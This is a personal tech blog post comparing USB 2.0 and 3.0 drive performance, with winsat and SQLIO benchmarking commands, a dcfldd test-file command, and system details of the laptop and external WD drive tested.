USB 1.x supports rates of 1.5 Mbit/s (Low-Bandwidth) and 12 Mbit/s (Full-Bandwidth).

USB 2.0 supports higher maximum signaling rate and limited to effective throughput of 280 Mbit/s.  The port is usually black, but the USB symbol might be the best way to distinguish the port types. In the image below, I have a USB 3.0 on the left side while only a USB 2.0 on the right side.  Thus, plugging a device in one port vs. the other will have a huge performance difference.

USB 3.0 ( SuperSpeed mode ) usable data rate of up to 4 Gbit/s. A USB 3.0 port is usually colored blue, and is backwards compatible with USB 2.0.  In the image below, you can see that it will not matter which port to use on this side of the laptop since both of the ports are USB 3.0.

You can see in Windows what port the device is plugged in.

So, what are the effective transfer rates on actual devices and not just in theory.  There are many ways to test performance and most of them will not result in very accurate results, but will give a good indication of device transfer rates to calculate with.  In many cases, the approximation of data transfer rate is good enough to calculate and prepare a quote for clients.

One way is to use the Windows System Assessment Tool ( winsat )  utility to do this test.  Since we are talking about sequential writes of the data, we can test the sequential write rate of E:\ drive, in my case, like this.

winsat disk -seq -write -count 6 -v -drive E

Sequential reads are just as easy to test.

winsat disk -seq -read -count 6 -v -drive E

Another way would be to use SQLIO Disk Subsystem Benchmark Tool.

http://www.microsoft.com/en-us/download/details.aspx?id=20163

You can create a script to test the performance of the drive with many different configurations in order to find the optimal settings.

I have the following in my batch file:

"C:\Program Files (x86)\SQLIO\sqlio" -kW -s10 -frandom -o8 -dE -b8 -LS -Fparam.txt 

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -frandom -o8 -dE -b64 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -frandom -o8 -dE -b128 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -frandom -o8 -dE -b256 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -frandom -o8 -dE -b512 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -fsequential -dE -o8 -b8 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -fsequential -o8 -dE -b64 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -fsequential -o8 -dE -b128 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -fsequential -o8 -dE -b256 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kW -s360 -fsequential -o8 -dE -b512 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -frandom -o8 -b8 -dE -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -frandom -o8 -dE -b64 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -frandom -o8 -dE -b128 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -frandom -o8 -dE -b256 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -frandom -o8 -dE -b512 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -fsequential -dE -o8 -b8 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -fsequential -o8 -dE -b64 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -fsequential -o8 -dE -b128 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -fsequential -o8 -dE -b256 -LS -Fparam.txt

timeout /T 10

"C:\Program Files (x86)\SQLIO\sqlio" -kR -s360 -fsequential -o8 -dE -b512 -LS -Fparam.txt

The param.txt file does not have anything else, but a single line showing where to copy teh file to, in this case to E: drive since that is the drive I'd like to test.

e:\testfile.data 2 0x0 100

The testfile.dat was created with dcfldd like this:

C:\>dcfldd-1.3.4.x86win32\dcfldd.exe pattern=61 of=tesfile.data bs=8388608 count=1

The results can be then added to a spreadsheet to chart the data for easier analysis.

USB 3.0 performance.

USB 2.0 performance.

The best performance results are highlighted with read, but we can see that USB 3.0 have much less latency issues than USB 2.0, so we should definitely use USB 3.0 whenever we can.

So, no matter how obvious the outcome is or how much you know about technology, you should always aim to find a way to test your devices and have performance data available to chart your results to see a pattern that might not emerge just by looking at a data itself.  This is the process of determining an answer by empirical data analysis.  You can never get closer to a scientific thinking unless you realize the power of testing and measuring.  This way, you will always be confident of your conclusions since these are data points you have created, documented, and analyzed.  

Let me know if you any better ways to have a reliable testing of storage device performance.

Appendices

A. System Environment

> Command Line 'winsat  disk -seq -write -count 6 -v -drive E'

> DWM running... leaving it on

> System processor power policy saved and set to 'max performance'

> Running: Feature Enumeration ''

> Gathering System Information

> Operating System                        : 6.3 Build-9600

> Processor                               : Intel(R) Core(TM) i7-4702HQ CPU @ 2.

20GHz

> TSC Frequency                           : 0

> Number of Processors                    : 1

> Number of Cores                         : 4

> Number of CPUs                          : 8

> Number of Cores per Processor           : 4

> Number of CPUs Per Core                 : 2

> Cores have logical CPUs                 : YES

> L1 Cache and line Size                  : 32768  64

> L2 Cache and line Size                  : 262144  64

> L3 Cache and line Size                  : 6291456  64

> Total physical mem available to the OS  : 15.9 GB (17,078,214,656 bytes)

> Adapter Description                     : Intel(R) HD Graphics 4600

> Adapter Manufacturer                    : Intel Corporation

> Adapter Driver Provider                 : Intel Corporation

> Adapter Driver Version                  : 10.18.10.3345

> Adapter Driver Date (yy/mm/dd)          : 2013\10\31

> Has DX9 or better                       : Yes

> Has Pixel shader 2.0 or better          : Yes

> Has LDDM Driver                         : Yes

> Dedicated (local) video memory          : 0MB

> System memory dedicated as video memory : 0MB

> System memory shared as video memory    : 1792MB

> Primary Monitor Size                    : 1600 X 900  (1440000 total pixels)

> WinSAT is Official                       : Yes

Mode Flags = 0x02000001

Disk Number = 2

Iterations = 6

IO Count = 1000

Sequential IO Size = 65536

Random IO Size = 16384

B. Drive tested

C:\>wmic diskdrive get name, size, model

Model                           Name                Size

WD My Passport 0748 USB Device  \\.\PHYSICALDRIVE2  2000363420160

C. User Manual and downloads

http://www.wdc.com/wdproducts/library/UM/ENG/4779-705067.pdf

http://support.wdc.com/product/download.asp?groupid=218